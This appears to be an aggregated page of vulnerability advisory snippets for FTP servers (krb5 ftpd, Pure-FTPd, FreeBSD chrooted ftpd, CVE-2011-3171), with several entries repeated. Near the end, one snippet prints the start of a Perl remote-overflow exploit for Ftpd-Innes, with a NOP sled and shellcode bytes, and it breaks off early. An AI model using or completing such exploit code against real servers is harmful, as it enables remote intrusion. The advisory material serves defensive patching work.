RHEL 5 : krb5 (RHSA-2012:0306)

The remote Redhat Enterprise Linux 5 host has packages installed that are affected by a vulnerability as referenced in the RHSA-2012:0306 advisory. - krb5, krb5-appl: ftpd incorrect group privilege dropping MITKRB5-SA-2011-005 CVE-2011-1526 Note that Nessus has not tested for this issue but has...

Gentoo Security Advisory GLSA 201110-25 (Pure-FTPd)

The remote host is missing updates announced in advisory GLSA 201110-25. OpenVAS Vulnerability Test $ Description: Auto generated from Gentoo's XML based advisory Authors: Thomas Reinke Copyright: Copyright c 2012 E-Soft Inc. http://www.securityspace.com Text descriptions are largely excerpted fr...

FreeBSD Security Advisory (FreeBSD-SA-11:07.chroot.asc)

The remote host is missing an update to the system as announced in the referenced advisory FreeBSD-SA-11:07.chroot.asc ADV FreeBSD-SA-11:07.chroot.asc OpenVAS Vulnerability Test $ Description: Auto generated from ADV FreeBSD-SA-11:07.chroot.asc Authors: Thomas Reinke Copyright: Copyright c 2012...

Gentoo Security Advisory GLSA 201110-25 (Pure-FTPd)

The remote host is missing updates announced in advisory GLSA 201110-25. SPDX-FileCopyrightText: 2012 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-only OR GPL-3.0-only...

FreeBSD Security Advisory (FreeBSD-SA-11:07.chroot.asc)

The remote host is missing an update to the system as announced in the referenced advisory FreeBSD-SA-11:07.chroot.asc SPDX-FileCopyrightText: 2012 E-Soft Inc. Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders...

krb5-appl: Fixed remote buffer overflow in ktelnetd (important)

This update of krb5 applications fixes two security issues. CVE-2011-4862: A remote code execution in the kerberized telnet daemon was fixed. This only affects the ktelnetd from the krb5-appl RPM, not the regular telnetd supplied by SUSE. CVE-2011-1526 / MITKRB5-SA-2011-005: Fixed krb5 ftpd...

FreeBSD Security Advisory FreeBSD-SA-11:07.chroot

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-11:07.chroot Security Advisory The FreeBSD Project Topic: Code execution via chrooted ftpd Category: core Module: libc Announced: 2011-12-23 Affects: All supporte...

FreeBSD Chrooted 'ftpd'远程特权提升漏洞

Bugtraq ID: 51185 FreeBSD是一款基于BSD的操作系统。 chroot在系统中发挥了根目录的切换工作，chroot2系统调用广泛用于多个应用，用于限制进程对文件系统的访问 nsdispatch3 API实现提供按需重装载它配置的功能，此功能也可以通过配置文件请求来装载共享库并运行库提供的代码 nsdispatch3 API没有任何机制对操作是否在chroot环境中进行告警，在其中的配置文件和共享库的标准路径不可信，FreeBSD ftpd8守护程序以chroot2配置并使用了nsdispatch3 API...

FreeBSD-SA-11:07.chroot

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ============================================================================= FreeBSD-SA-11:07.chroot Security Advisory The FreeBSD Project Topic: Code execution via chrooted ftpd Category: core Module: libc Announced: 2011-12-23 Affects: All supporte...

SuSE 10 Security Update : pure-ftpd, pure-ftpd-debuginfo (ZYPP Patch Number 7724)

The OES Netware add-ons in pure-ftpd had a security problem and some bugs, which are fixed by this update. A local attacker could overwrite local files when the OES remote server feature of pure-ftpd is enabled due to a directory traversal. CVE-2011-3171 Additionally the following bugs have been...

SuSE 10 Security Update : pure-ftpd (ZYPP Patch Number 7426)

pure-ftpd was updated to fix a security issue with an Open Enterprise Server specific patch : - A worldwriteable directory created and used by the OES pure-ftpd Netware extensions could be used by local attackers to overwrite system files and so gain privileges. CVE-2011-0988 %NASLMINLEVEL 70300 ...

SuSE 11.1 Security Update : pure-ftpd (SAT Patch Number 5091)

The OES Netware add-ons in pure-ftpd had a security problem and some bugs, which are fixed by this update. A local attacker could overwrite local files when the OES remote server feature of pure-ftpd is enabled due to a directory traversal. CVE-2011-3171 Additionally the following bugs have been...

SuSE 10 Security Update : pure-ftpd (ZYPP Patch Number 7480)

Pure-ftpd is vulnerable to the STARTTLS command injection issue similar to CVE-2011-0411 of postfix. CVE-2011-1575 has been assigned to this issue. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The text description of this plugin is C Novell, Inc. include'deprecatednasllevel.inc';...

CVE-2011-3171

Directory traversal vulnerability in pure-FTPd 1.0.22 and possibly other versions, when running on SUSE Linux Enterprise Server and possibly other operating systems, when the Netware OES remote server feature is enabled, allows local users to overwrite arbitrary files via unknown vectors...

CVE-2011-3171

Directory traversal vulnerability in pure-FTPd 1.0.22 and possibly other versions, when running on SUSE Linux Enterprise Server and possibly other operating systems, when the Netware OES remote server feature is enabled, allows local users to overwrite arbitrary files via unknown vectors...

Directory traversal

Directory traversal vulnerability in pure-FTPd 1.0.22 and possibly other versions, when running on SUSE Linux Enterprise Server and possibly other operating systems, when the Netware OES remote server feature is enabled, allows local users to overwrite arbitrary files via unknown vectors...

CVE-2011-3171

Directory traversal vulnerability in pure-FTPd 1.0.22 and possibly other versions, when running on SUSE Linux Enterprise Server and possibly other operating systems, when the Netware OES remote server feature is enabled, allows local users to overwrite arbitrary files via unknown vectors...

CVE-2011-3171

CVE-2011-3171 affects pure-ftpd with the Netware OES remote server feature enabled, on SUSE Linux Enterprise Server (and possibly other OSes). The issue is a directory traversal that allows local users to overwrite arbitrary files via unknown vectors. Affected component is the OES Netware add-ons...

Ftpd-Innes remote overflow Exploit-vulnerability warning-the black bar safety net

!/ usr/bin/perl-w use IO::Socket; if! $ARGV1 print "Usage: ./ Ftpd-innes.pl target host port\n\n"; exit; $victim = IO::Socket::INET-newProto="udp", PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "Cannot connect to $ARGV0 sulla porta $ARGV1"; my $nop0="\x90"x20; my $asm="\x7c\xc5\x66\x07\x12\x02\x50\xc3"...

GLSA-201110-25 : Pure-FTPd: Multiple vulnerabilities

The remote host is affected by the vulnerability described in GLSA-201110-25 Pure-FTPd: Multiple vulnerabilities Multiple vulnerabilities have been discovered in Pure-FTPd. Please review the CVE identifiers referenced below for details. Impact : Remote unauthenticated attackers may be able to...